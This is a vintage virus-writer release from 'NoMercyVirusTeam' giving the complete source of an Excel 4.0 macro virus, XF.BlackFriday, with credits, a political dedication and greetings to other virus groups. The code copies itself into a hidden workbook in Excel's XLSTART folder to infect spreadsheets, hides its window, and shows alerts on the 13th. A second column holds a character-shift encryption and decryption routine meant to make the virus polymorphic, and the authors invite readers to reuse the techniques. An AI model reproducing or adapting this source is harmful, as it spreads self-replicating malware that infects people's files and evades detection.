
				"The Secret of XF.BlackFriday"
+-----------------------------------------------------------------------------------------------+
|                             http://www.welcome.to/NoMercy.com					|
+-----------------------------------------------------------------------------------------------+
| Author: CrazH of NoMercyVirusTeam								|
| Tester: foxz of NoMercyVirusTeam								|
| Rating: 1st XFPolymorph									|
| Original : Indonesia (the unrest country on 1998)						|
+-----------------------------------------------------------------------------------------------+
| History: 											|
| - XF.Black is one of six viruses from NoMercyVirusTeam that dedicate to the 			|
|   brave students and people who died students in Indonesian for A DEMOCRACY!.			|
|   list of 6 viruses from us (alphabetical order) :						|
|   3. XF.Crazh											|
|   4. XF.Crazh.fixed										|
|   1. XM/XM97.Fucking Police									|
|   2. XM/XM97.Riots										|
|   5. XF.BlackFriday (you see the source now)							|
|   6. WM97.Ketapang										|
| - Enough for te.te..a..te..tee enjoy the source, Feel free for use our tricks, BUT remember	|
|   give us credits (if you respect to other ppl, ppl will respect to you).			|
+-----------------------------------------------------------------------------------------------+
| note:												|
| !!! = we too lazy make comments on this source, learn by your self, if still sun understand,  |
|       naaaa,... you can ask to us. (foxz.nomercy@usa.net)					|
| !!! = the original text ONLY can be found on Codebreakers #5 and NoMercySite.			|
|       http://www.sourceofkaos.com/homes/nomercy/black_source.txt				|
+-----------------------------------------------------------------------------------------------+

  +-------------------------------------------------------------------------------------------
  |						A 						
  +---------------------------------------------------------------------------------------------
 1|=ON.SHEET(,"crazh",TRUE)                                
 2|=RETURN()
 3|=RUN($A$32)					
 4|=IF(ISNA($A$46),GOTO($A$7),GOTO($A$5))
 5|=     RETURN()
 6|=END.IF()
 7|=WORKBOOK.COPY("["&$A$43&"]"&"blackfriday",$A$47,1)
 8|=RETURN()
 9|=SET.VALUE($A$47,GET.WINDOW(31))
10|=SET.VALUE($A$44,(GET.WORKSPACE(23) &"\xl5glry.xls"))
11|=RETURN()
12|#VALUE!
13|=ECHO(FALSE)
14|=SET.VALUE($A$48,GET.WINDOW(31))
15|=IF(ISNA(FILES($A$44)="xl5glry.xls"),GOTO($A$16),GOTO($A$35))
16|=NEW(1)
17|=RUN($A$9)
18|=ACTIVATE($A$48)
19|=WORKBOOK.COPY("blackfriday",$A$47,1)
20|=RUN($A$32)
21|=ERROR(FALSE)
22|=MESSAGE(TRUE,"Ready")
23|=SAVE.AS($A$44)
24|=ERROR(TRUE)
25|=ACTIVATE($A$43)
26|=RUN(1)
27|=HIDE()
28|=ACTIVATE($A$43)
29|=SAVE()
30|=IF(DAY(NOW())=13,ALERT("Black Friday  in Nov 1998, The Blood Sucker Army have killed our people & our students in Semanggi Clash",2),GOTO($A$31))
31|=RETURN()
32|=SET.VALUE($A$47,GET.WINDOW(31))
33|=SET.VALUE($A$46,GET.DOCUMENT(3,"["&$A$47&"]"&"blackfriday"))
34|=RETURN()
35|=IF(ISNA($A$48),GOTO($A$36),GOTO($A$40))
36|=NEW(5)
37|=ACTIVATE($A$43)
38|=RUN($A$1)
39|=RETURN()
40|=ACTIVATE($A$43)
41|=IF(DAY(NOW())=13,ALERT("[XF.Semanggi] brought to you by CrazH of NoMercyVirus Team Oct '98",2),GOTO($A$42))
42|=RETURN()
43|xl5glry.xls
44|C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\XLSTART\xl5glry.xls
45|is infected? (3 =yes other value no)
46|3
47|Sheet1
48|xl5glry.xls

  +-------------------------------------------------------------------------------------------
  |						B 						
  +---------------------------------------------------------------------------------------------
 1|78
 2|[C]razh [L]ame [E]ncryption [C]ode
 3|ev=ROUND(RAND()* (128-1)*1,0)
 4|=SET.VALUE(B1,ev)
 5|=FOR.CELL("z",A1:A41)
 6|=FORMULA(CHAR(39)&GET.CELL(6,z),z)
 7|=NEXT()
 8|=  FOR.CELL("k",A1:A41)
 9|       xz=""
10|=        FOR("l",1,LEN(k))
11|                xz= xz&CHAR(CODE(MID(k,l,1))+B1)
12|=        NEXT()
13|=        SET.VALUE(k,xz)
14|=  NEXT()
15|"=IF(GET.WINDOW(7),GOTO(B16),GOTO(B19))
16|=ACTIVATE(A43)
17|=MESSAGE(TRUE,"Ready")
18|=SAVE()
19|=RETURN()
20|decrypt
21|=  FOR.CELL("k",A1:A41)
22|       xz=""
23|=ERROR(FALSE)
24|=        FOR("l",1,LEN(k))
25|                xz= xz&CHAR(CODE(MID(k,l,1))-B1)
26|=        NEXT()
27|=        SET.VALUE(k,xz)
28|=  NEXT()
29|"=RETURN()
30|convert text into formula before RUNNING IT
31|=FOR.CELL("h",A1:A41)
32|=ERROR(FALSE)
33|=FORMULA(FORMULA.CONVERT(h,1,0,1),h)
34|=NEXT()
35|=GOTO(A12)
36|=RETURN()


+-----------------------------------------------------------------------------------------------+
| ops we forget some thing :) NoMercyVirusTeam NEVER release any product/text without greetz,...|
| 1...2...3... go...										|
| - All NoMercyVirusTeam Members (slagy, asmheady, knowdy, crazy, and foxzy)			|
| - All Codebreakers Members (spooky, evily, serially, opicsy and friends)			|
| - All 29A Members (darky, VB and friends)							|
| - All MetaPhase Teams (knowy and friends)							|
| - All SLAM team (RAiDy, VD and friends)							|
| - All ppl on #vir (Mr.Nuc, Mr.Rhape, Mr.T, Mr.Q, and All.... that i forgot to write)          |
| - Vrtik and Valky "this is may be usefull for you!!"						|
| - Indonesian Students "adili $uharto dan kroni-kroninya"					|
+-----------------------------------------------------------------------------------------------+
